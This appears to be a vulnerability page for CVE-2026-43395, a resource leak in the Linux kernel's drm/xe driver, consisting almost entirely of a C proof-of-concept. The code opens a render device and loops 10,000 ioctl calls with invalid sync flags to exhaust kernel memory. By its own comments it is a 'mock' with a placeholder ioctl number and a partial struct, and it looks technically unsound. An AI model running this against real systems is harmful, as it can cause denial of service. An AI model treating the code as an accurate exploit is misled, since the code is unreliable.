CVE-2026-43395: Linux内核drm/xe资源泄露漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Mock POC to demonstrate the trigger logic // This requires a vulnerable kernel and proper headers #define DRM_IOCTL_BASE 'd' #define DRM_IOCTL_XE_EXEC 0x46 // Placeholder for actual IOCTL number struct drm_xe_sync { __u64 handle; __u64 flags; __u64 timeline_value; // ... other fields ... }; int main(int argc, char **argv) { int fd = -1; struct drm_xe_sync sync; int ret; // Open the DRM device fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Starting PoC for CVE-2026-43395...\n"); // Loop to trigger the resource leak for (int i = 0; i < 10000; i++) { // Initialize sync structure to trigger parse failure // after allocation in xe_sync_entry_parse memset(&sync, 0, sizeof(sync)); sync.flags = 0xFFFFFFFF; // Invalid flags to force parsing error // Call the IOCTL ret = ioctl(fd, DRM_IOCTL_XE_EXEC, &sync); // We expect failure, but the bug is if resources aren't cleaned up if (ret < 0) { // Error occurred, resources leaked in vulnerable version } } close(fd); printf("PoC execution finished. Check kernel memory usage.\n"); return 0; }